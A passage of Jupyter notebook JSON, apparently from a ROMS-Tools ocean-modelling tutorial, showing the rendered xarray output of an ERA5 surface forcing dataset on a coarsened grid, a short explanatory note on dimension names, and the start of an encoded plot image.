</tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 5.21 MiB </td>\n", " <td> 10.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 52, 52) </td>\n", " <td> (1, 52, 52) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-a307f281-9841-4d08-b8d6-84a1d5d1dbd1' class='xr-var-data-in' type='checkbox'><label for='data-a307f281-9841-4d08-b8d6-84a1d5d1dbd1' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>absolute humidity at 2m</dd><dt><span>units :</span></dt><dd>kg/kg</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 5.21 MiB </td>\n", " <td> 10.56 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 52, 52) </td>\n", " <td> (1, 52, 52) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 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style=\"stroke-width:2\" />\n", " <line x1=\"119\" y1=\"70\" x2=\"119\" y2=\"109\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"80.58823529411765,70.58823529411765 119.34667865432596,70.58823529411765 119.34667865432596,109.34667865432596 80.58823529411765,109.34667865432596\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"99.967457\" y=\"129.346679\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >52</text>\n", " <text x=\"139.346679\" y=\"89.967457\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(0,139.346679,89.967457)\">52</text>\n", " <text x=\"35.294118\" y=\"94.052561\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,94.052561)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li></ul></div></li><li class='xr-section-item'><input id='section-6a0f58b5-b38a-4c00-a3ee-a81ba2215306' class='xr-section-summary-in' type='checkbox' ><label for='section-6a0f58b5-b38a-4c00-a3ee-a81ba2215306' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-aab89b4a-bacd-4668-8092-25b128f5a564' class='xr-index-data-in' type='checkbox'/><label for='index-aab89b4a-bacd-4668-8092-25b128f5a564' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([ 4397.0, 4397.041666666667, 4397.083333333334,\n", " 4397.125, 4397.166666666667, 4397.208333333334,\n", " 4397.25, 4397.291666666667, 4397.333333333334,\n", " 4397.375,\n", " ...\n", " 4417.625, 4417.666666666667, 4417.708333333333,\n", " 4417.75, 4417.791666666667, 4417.833333333333,\n", " 4417.875, 4417.916666666667, 4417.958333333333,\n", " 4418.0],\n", " dtype=&#x27;float64&#x27;, name=&#x27;time&#x27;, length=505))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-b32d618e-31c4-4a93-8f03-ae7fd5cdbe54' class='xr-section-summary-in' type='checkbox' checked><label for='section-b32d618e-31c4-4a93-8f03-ae7fd5cdbe54' class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS surface forcing file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>start_time :</span></dt><dd>2012-01-15 00:00:00</dd><dt><span>end_time :</span></dt><dd>2012-02-05 00:00:00</dd><dt><span>source :</span></dt><dd>ERA5</dd><dt><span>correct_radiation :</span></dt><dd>True</dd><dt><span>use_coarse_grid :</span></dt><dd>True</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>type :</span></dt><dd>physics</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 38MB\n", "Dimensions: (time: 505, eta_rho: 52, xi_rho: 52)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 5MB dask.array<chunksize=(1, 52, 52), meta=np.ndarray>\n", " vwnd (time, eta_rho, xi_rho) float32 5MB dask.array<chunksize=(1, 52, 52), meta=np.ndarray>\n", " swrad (time, eta_rho, xi_rho) float32 5MB dask.array<chunksize=(1, 52, 52), meta=np.ndarray>\n", " lwrad (time, eta_rho, xi_rho) float32 5MB dask.array<chunksize=(1, 52, 52), meta=np.ndarray>\n", " Tair (time, eta_rho, xi_rho) float32 5MB dask.array<chunksize=(1, 52, 52), meta=np.ndarray>\n", " qair (time, eta_rho, xi_rho) float32 5MB dask.array<chunksize=(1, 52, 52), meta=np.ndarray>\n", " rain (time, eta_rho, xi_rho) float32 5MB dask.array<chunksize=(1, 52, 52), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: True\n", " use_coarse_grid: True\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics" ] }, "execution_count": 15, "metadata": {}, "output_type": "execute_result" } ], "source": [ "coarse_surface_forcing.ds" ] }, { "cell_type": "markdown", "id": "a8736e21-4917-4770-83c0-8772bd06e6f2", "metadata": {}, "source": [ "The surface forcing fields now live on the coarsened grid. " ] }, { "cell_type": "markdown", "id": "15ff8a7e-005c-4e15-9b8b-65892b14c89e", "metadata": {}, "source": [ "<div class=\"alert alert-info\">\n", "\n", "Note\n", "\n", "The dimension names in `coarse_forcing.ds` are somewhat confusingly called `eta_rho`, `xi_rho` (rather than `eta_coarse`, `xi_coarse`). This is due to a particularity of ROMS - it expects the dimension names `eta_rho`, `xi_rho`. We should change this in the future! \n", "\n", "</div>" ] }, { "cell_type": "code", "execution_count": 16, "id": "2c358771-1a77-4f10-927e-7d10a5b1b876", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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Zv349v/nNb3C5XPziF79g8uTJfPbZZzHzZbIPsiWb73PFFVcwZMgQfTAKtSOPPJKPPvoIn8+n7/vKykqmTZvGihUrdCFp3Pc333wzV111FUcddRTLly/nxRdf5OWXX2bq1KkJCSnnn38+69ev5/PPPwfgscce47jjjmPAgAH6PKqqcvzxx/Pyyy+bDmeffXbK71dTU2MqFs477zw2b97MH/7wB+rq6rjtttuYOnWqnqjTFTZt2sRxxx3H/v37ueOOO3j22Wd5+eWX+dGPfqR/JyOpfi9t2437JBVmy8rmN8mVbI+5QlCIY8nCwqLw2Hp6Ayw6qa2tpaioSHcNG4mvlzZy5EhUVWXDhg269QoiWawtLS0xddA0ofDyyy/z0Ucfcc011wBw1FFH8cc//pG6ujpKSkqYOXNmTts9e/ZsHA6HLk6uvvpqffl/+ctfePXVV/XXGv/6179wuVy8+OKLMeU9HnjggYzXO3LkyIz2VSrGjh3Lj3/8Y3784x+zYcMGDj74YH7729+yfPnyjJehbYvZer/66iv9/XQkE/4//elPY1x3Rpft/PnzCQQCPPLII+zatUv/rY866ihWrFjBoEGDmDBhAoMGDdI/88QTT3DMMcdw//33x6ynpaUlQfCceeaZfPe739Vd0evXr+fnP/95zDxjx47F7XbrlsRsmTRpElu2bDF9b8iQIVx22WVcdtllNDQ0cOihh/LrX/+ak046Sd+n69at49hjj4353Lp161Lu86effhq/389TTz0VYzl+/fXXs95+bduNx2G2ZPqbjBw5ktWrVyOEiPm/ZPKfz+aYy9RKavwNxowZo08PBAJs2bIl5/+EhYVF78KyLPYiFEVh0aJFPPnkk2zfvl2f/uWXX/Liiy/GzHvyyScD8Lvf/S5m+h133AFE4rY0Ro8ezdChQ7nzzjsJBoMcccQRQERobNq0iSeeeIK5c+dis+V27+ByuTjssMN45JFH2L59e4xlsaOjg7vuuouxY8cyZMiQmO8qSRLhcFiftnXr1qy6Rpx88sm8//77fPjhh/q0ffv28dBDD6X9rNfrTajVOHbsWMrKykzLkGSyLR9++KEeowng8Xj485//zKhRoxLiLc0oKSkBSCg5MmXKFBYuXKgPRlE/Z84c7HY7t9xyC9XV1UydOhWI7Pv333+fN998M8FirChKgiXn8ccfNy03U1lZyaJFi3jsscd49NFHcTgcnHnmmTHznHfeebz33nsJ/1Htu4RCoZTfe968eaxevTpmv4fD4QTX6MCBA6mrq9PnmzVrFgMHDuS+++6L+ezzzz/Pl19+GXMMxKNZuIz7obW1NaubFY1PPvkESZKYN29e1p81bk8mv8nJJ5/M7t27Y8rdeL1e/vznP2e0jkyPuZKSkoT/oRkLFy7E4XBw1113xWz//fffT2tra8rfwMLCou9gWRZ7GUuXLuWFF15g/vz5XHbZZYRCIf7whz8wdepUVq1apc83Y8YMLr74Yv785z/T0tLCggUL+PDDD/nHP/7BmWeeyTHHHBOz3Pnz5/Poo49y0EEH6ZapQw89lJKSEtavX88FF1zQpe2eP38+//d//0dFRQUHHXQQELm4T5w4kXXr1ul12jROOeUU7rjjDk488UQuuOACGhoauOeeexg3blzM90zFT3/6U5YtW8aJJ57IFVdcQUlJCX/+858ZOXJk2mWsX7+e4447jvPOO48pU6Zgs9n4z3/+w969ezn//POz/v7XXHMNjzzyCCeddBI//OEPqa6u5h//+AdbtmzhX//6V0zwfzIOPvhgFEXhlltuobW1FafTqdcBTEZxcTEzZ87k/fff12ssQsSy6PF48Hg8CWLx1FNP5cYbb+SSSy7h8MMP54svvuChhx6KsQwZ+frXv87ixYu59957WbRoUUySEsDVV1/NU089xamnnso3v/lNZs6cicfj4YsvvuCJJ55g69atKV20Z5xxBjfddBNvvvkmJ5xwAhCpsThs2DDOOeccZsyYQWlpKa+88gofffQRv/3tbwF0kXzJJZewYMECvvGNb7B3715+//vfM2rUKN2lbMYJJ5yAw+HgtNNO47vf/S5ut5u//OUvDBw4kD179iT9nBkvv/wyRxxxBDU1NVl9zkimv8mll17K3XffzUUXXcQnn3zCkCFDWLZsGcXFxWnXkc0xN3PmTF555RXuuOMO6urqGD16NHPmzElYZm1tLT//+c9ZunQpJ554Iqeffjrr1q3j3nvv5bDDDouxiFtYWPRheiIF2yI1b775ppg5c6ZwOBxizJgx4r777jMt/REMBsXSpUvF6NGjhd1uF8OHDxc///nPhc/nS1jmPffcIwDxve99L2b6woULBSBeffXVmOlamY/HH388ZvqWLVsEIB544IGY6c8++6wAxEk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